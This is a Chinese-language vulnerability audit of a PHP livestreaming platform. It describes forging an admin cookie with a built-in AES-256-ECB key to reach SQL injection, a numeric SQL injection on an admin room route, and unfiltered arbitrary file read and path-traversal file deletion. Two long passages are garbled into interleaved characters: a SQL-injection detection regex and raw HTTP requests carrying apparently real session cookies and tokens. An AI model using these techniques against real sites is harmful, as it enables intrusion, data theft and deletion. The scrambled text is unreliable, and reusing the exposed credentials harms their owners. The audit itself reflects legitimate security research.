**直播系统审计

fofa:

万能cookie

框架问题与业务逻辑共同造成的,在框架上cookie使用了aes加密+序列化的手法,导致只要把框架扯下来看看就能找到密码,使得cookie内容用户可控,又因为业务上他把cookie解密后直接插入sql查询导致了注入

在审计的时候发现他的sql语句写的非常糙,全是随意的拼接,防御全靠htmlspecialchars和全局生效的

image.png

image.png

这里就不往下跟了 反正就是传入 编码

image.png

html实体编码过后的内容传入这里,插入sql查询

image.png

因为几乎所有的输入都被做了html实体编码,导致如果想利用sql注入就只能找数字形的注入,其实也有后面会提到

万能cookie 与反序列化入口

在前的代码其实能看到,在登入前他会去判断adminCookie是否存在,去验证他

image.png

其中有关cookie解密的逻辑跟踪getCookie就能找到

image.png

image.png

这里要提一下,cookie在get解密之后又经过了反序列化,如果有链子能打,但框架过于小众了审计也没发现目前没有能用的

image.png

这里会使用内置可的密钥做解密,继续跟踪到Encrypt的decode

C

加密使用了AES-256-ECB对称加密

image.png

base64解码后丢到openssl传入方法和密钥解密至此就知道怎么解cookie了

回到前面的代码只要$adminCookie['status'] === true就会视为已登入,跳转到到定向到admin_index,到index控制器可以看到他继承自Admin_PublicController 在这里 能看到这样一行

image.png

读取了明文cookie的账户密码做查询也就是直接插入了sql,那么我们就可以构造如下cookie来打一个sql注入万能密码

image.png

数字型 sql注入

来到roomModel

image.png

image.png

可以注意到这里是一个数字型注入,那么往前跟踪查看谁调用过他

image.png

往前跟踪可以继续跟踪到RoomController

image.png

输入来自form读代码可知它继承自Admin_publicController

image.png

测试后对应路由是是/admin_room/index/loadData-1.html/?room_id=1这里

image.png

虽然sqlmap能检测到注入的存在,但因为全局生效的safePro,依旧需要手动去注入时间关系我没去尝试

$ ) a ' ' ' ; r x s o g s q t s s l h _ ' ' e a = = r r > > ' r " " = = [ [ > a " r \ r a { y ( \ " s . \ ] [ \ { \ ; 1 \ \ } \ ( \ \ s / | ] . > b ] ) \ . + % * ( 0 \ ? 0 \ : ( b s [ o e ^ n l 0 [ e - a c 9 - t a z \ - A \ f - b A Z | - ] u F { p ] 3 d | , a $ 1 t ) 5 e | } \ % [ \ 0 \ b 0 \ | [ s i \ \ n \ \ s ' r e \ \ r \ \ t \ n ( " \ ? \ \ : \ ( . \ ] \ " f ] * = | ? \ b ( ? : e x p r e \ s s s ) i | ( n ) \ \ ( i n < t s o c \ r \ i b p ) t . [ + \ ? \ ( s ? \ : \ f r m ] b s e t \ \ ! b \ ) \ | [ [ c ^ d \ a \ t { a \ \ \ \ s [ ] | { \ 1 \ } b ( ( \ ? \ : s e | \ a \ l b | a l ( e ? r : t c | r p e r a o t m e p | t d | e m l s e g t b e x d ) r \ o \ p s | * t \ r \ u ( n | c u a r t l e \ | \ r ( e ( n ? a : m \ e \ | # d | e d s a c t ) a ( | ? j : a ( \ a \ s / c \ r \ i * p . t * ) ? " \ , \ * \ \ / ) | ( \ \ s ) | ( \ \ + ) ) + ( ? : t a b l e \ \ b | f r o m \ \ b | d a t a b a s e \ \ b ) | i n t o ( ? : ( \ \ / \ \ * . * ? \ \ * \ \ / ) | \ \ s | \ \ + ) + ( ? : d u m p | o u t ) f i l e \ \ b | \ \ b s l e e p \ \ ( [ \ \ s ] * [ \ \ d ] + [ \ \ s ] * \ \ ) | b e n c h m a r k \ \ ( ( [ ^ \ \ , ] * ) \ \ , ( [ ^ \ \ , ] * ) \ \ ) | ( ? : d e c l a r e | s e t | s e l e c t ) \ \ b . * @ | u n i o n \ \ b . * ( ? : s e l e c t | a l l ) \ \ b | ( ? : s e l e c t | u p d a t e | i n s e r t | c r e a t e | d e l e t e | d r o p | g r a n t | t r u n c a t e | r e n a m e | e x e c | d e s c | f r o m | t a b l e | d a t a b a s e | s e t | w h e r e ) \ \ b . * ( c h a r s e t | a s c i i | b i n | c h a r | u n c o m p r e s s | c o n c a t | c o n c a t _ w s | c o n v | e x p o r t _ s e t | h e x | i n s t r | l e f t | l o a d _ f i l e | l o c a t e | m i d | s u b | s u b s t r i n g | o c t | r e v e r s e | r i g h t | u n h e x ) \ \ ( | ( ? : m a s t e r \ \ . \ \ . s y s d a t a b a s e s | m s y s a c c e s s o b j e c t s | m s y s q u e r i e s | s y s m o d u l e s | m y s q l \ \ . d b | s y s \ \ . d a t a b a s e _ n a m e | i n f o r m a t i o n _ s c h e m a \ \ . | s y s o b j e c t s | s p _ m a k e w e b t a s k | x p _ c m d s h e l l | s p _ o a m e t h o d | s p _ a d d e x t e n d e d p r o c | s p _ o a c r e a t e | x p _ r e g r e a d | s y s \ \ . d b m s _ e x p o r t _ e x t e n s i o n ) " ,

前台任意文件读取

来到publicController

image.png

很神奇的没做任何过滤,读取文件只需要在/public/download/下构造filePath[0]=filename即可

P H A C R U X C f O o c o e s - o i S s c n f e R n l T t e t e r e t e : p e r - q e P / t n e A u n a p 1 : t r g e t t u 9 - : e s - h b 2 a T n t L [ l . p y h t e e 0 i 1 p p t : d n ] c 6 l e t - g = / 8 i : p M W t / d . c : i h a o 1 a a z t : p w 9 t p / i h p n 3 i p 1 l : 1 l l . o l 9 l 7 i o 1 n i 2 a X c a 3 / c . / M a d 0 j a 1 5 L t / : s t 6 . H i 8 o i 8 0 t o H 8 n o . t n T 2 , n 1 ( p / T 7 / 9 X R c P t x 3 1 e o / e - . 1 q n 1 x w 1 ; u f . t w 3 e i 1 / w 0 U s g j - : b t / a f 8 u a v o 8 n p a r 2 t p s m 7 u l c - / ; i r u a c i r d L a p l m i t t e i n i , n n u o c _ x n r . d o x p * e o 8 h ; d m 6 p ; / _ q e 6 = c d 4 0 h i ; . a t 0 r / r 1 s ? v e i : t d 1 = = 4 U 9 2 T 0 . F 1 0 - & ) 8 v = G 0 e c k o / 2 0 1 0 0 1 0 1 F i r e f o x / 1 4 2 . 0

任意文件删除

问题位于libUpload中,这里的过滤形同虚设,导致了路径穿越

image.png

P H A A O C A C R U X C f O o c c r o c o e s - o i S s c c i o c n f e R n l T t e e g k e t e r e t e : p p i i p e r - q e d / t t n e t n e A u n i p 1 - - : : : t r g e t r u 9 L E - : e s - = b 2 a n h X a T n t L / l . n c t D p y h t e e u i 1 g o t E p p t : d n p c 6 u d p B l e t - g l / 8 a i : U i : p M W t o d . g n / G c : i h a o 1 e g / _ a a z t : d w 9 : : 1 S t p / i h f n 3 9 E i p 1 l : 1 i l . z g 2 S o l 9 l 7 l o 1 h z . S n i 2 a X e a 3 - i 1 I / c . / M / d 0 C p 6 O j a 1 5 L . / : N , 8 N s t 6 . H . H 8 , . = o i 8 0 t / T 8 z d 1 Y n o . t 4 T 2 h e 9 O , n 1 ( p 0 P 7 ; f 3 U / 9 X R 4 / q l . R t x 3 1 e . 1 = a 1 - e - . 1 q h . 0 t 3 N x w 1 ; u t 1 . e 0 A t w 3 e m 8 : M / w 0 U s l , 8 E j - : b t z 8 ; a f 8 u h 2 v o 8 n - 7 a a r 2 t T d s m 7 u W m c - / ; ; i r u a q n i r d L = C p l m i 0 o t e i n . o , n n u 7 k c _ x , i r z e d o x h = * e o 8 - v ; d m 6 H Q ; / _ K p q e 6 ; W = c d 4 q X 0 h i ; = 7 . a t 0 0 0 r / r . P 1 s ? v 5 k e i : , M t d 1 e y = = 4 n e U 9 2 - m T 0 . U l F 1 0 S S - & ) ; X 8 v q x = G = d 0 e 0 3 c . 1 k 3 U o , / / e j 2 n h 0 ; z 1 q B 0 = g 0 0 w 1 . B 0 2 X 1 U H F N i 9 r x e U f I o z x / / h 1 A 4 q 2 5 . / 0 T t 3 5 7 2 d l W R 5 t 6 2 4 I p M j r E L x I / f k m 3 1 E L Z r 1 / E Q v F G x L n b l z m R H Z F H / c Z U J N e M A X S Y b e Y n Z p n 1 C y 1 u k w i n W 5 b 9 R C U i X U Y 5 B X c p F r I c L a q 0 z Q g q Y t n n E v q q G L 3 I 7 s 9 R x g i R + M 8 H w t U S e O Z + V U 3 H Q w M l v w D d i 6 T U t K 1 a a F R m s 9 + A J k f a s N R t 6 6 m O n b m e u f k C T 9 9 r / U Q y f W j W C o 3 h w / y I o C i ; 2 a 8 8 3 9 c 9 2 3 e 9 2 6 a 4 c 9 7 4 5 9 1 7 5 2 e 7 7 1 7 3 _ s s l = a f 5 f a 3 3 2 - 5 0 0 f - 4 4 6 3 - 9 f d 3 - 3 0 c e 4 a 5 0 2 c 9 9 . H v N H a B y M d 5 T e n O v L 1 O s E 9 i B j 8 0 w ; r o o m C o o k i e = M 8 n C g v B R 5 % 2 F 5 v I 4 P a H y h N u 0 F 4 S j S E B D Q J 6 A % 2 B H S A V m a X Q % 3 D ; p _ h 5 _ u = F 7 9 D 3 7 3 9 - 7 2 F 0 - 4 F 4 1 - 8 2 9 B - D 1 E 8 0 1 B B E 9 B B ; d 1 8 6 f 1 5 9 0 0 d d 0 0 6 8 4 8 2 8 1 0 b b c 7 c e 3 5 a 7 _ s s l = 8 8 4 c 5 6 5 1 - c d b a - 4 2 e 8 - a c e 6 - b c e 4 e a 7 1 3 6 b a . H G X o o h T L p U V u U f d n T D m B c 0 x v 0 m g ; P H P S E S S I D = h 1 a s a g j t k i d e 7 j g o n a t r e 5 b 2 g a ; c l i e n t C o o k i e = 2 0 N y 1 4 C d Q y P O C o I l r I 1 Q 5 L r S M f E n W m Q u L u % 2 B 6 u I 6 7 p T 4 U f 5 u m R U Z 3 c 7 X K w m 7 u J E d m r Q 0 q X m % 2 F a E 0 K u e E H S O O z 5 d u % 2 B q s w C v 6 l Y r % 2 F f V M E % 2 F Q J j v i 6 L a 6 8 X D a O G w H o u J J R N D Z 2 % 2 F N B Z c Q L T V R s 4 4 Z Y X T y d I j D q T 1 6 N v 2 K x w l t b g Z z x X t I S M L f L j 3 q x y G 4 b 1 Z U A X W K O 1 H p 1 P S l 3 % 2 F 7 L O H 8 h e 2 o W X w s a s R d t r U % 2 B i m G u m % 2 F O r i W Y e C p 8 m f 7 p G 1 m G Q m V 5 q k 1 W E N C k n c q g 1 U j a 7 H p % 2 F W 5 p U L d 2 Z f 6 s o 5 Q C q D 4 8 d Z n B R y I 1 C R 1 B m t D B 2 n I C o O p P D t O v % 2 B Q T b 1 6 X 0 P R A % 2 F 8 Z A u % 2 B h 7 1 M 0 S F z O a 6 P B % 2 F d r y d C T x % 2 F C L w W v j g k z T h I M n S d t 7 J 9 % 2 B v C S K 6 6 9 U J 2 K S 7 t 2 % 2 B v A 1 d 7 n H W w R f D w F r b W Y x L h q P N 0 k t W r N d E Q 2 A g N L z % 2 B y U L V Q a h L 2 N D w x 5 w p Q v S W P b 3 2 e 1 L M p f n o f o % 2 F l w T W m n o D % 2 B F y % 2 F E j x k s e B K R 5 d t 4 g q 2 L R o 0 r % 2 F z l o 4 u Y i 8 j 3 % 2 B E p k 8 v 5 Z S w B x F v P W c p k J D 6 b 1 O x F 4 J 2 Y % 2 B J % 2 B L q o G J b f b 4 s a J C U w j e g M G h 7 % 2 F 9 % 2 F B 9 6 j N 5 O 3 2 W 8 T M Q f r y P W M a d U C c s s q 4 d 2 6 s S F t V G G Q u v 3 H % 2 B E % 2 F A A i n p 0 % 2 B K k 3 m % 2 B P S D W D S 9 z O 2 M d ; k i n d e d i t o r _ a u t h = 8 7 4 c b 2 d c 4 e b 7 3 f 9 a c 8 a f b a 1 2 7 f f 1 0 7 c 4

神秘代码

这个方法疑似是远程下载图片的,但他没有调用

image.png

或者说是写错了

image.png

phpinfo

image.png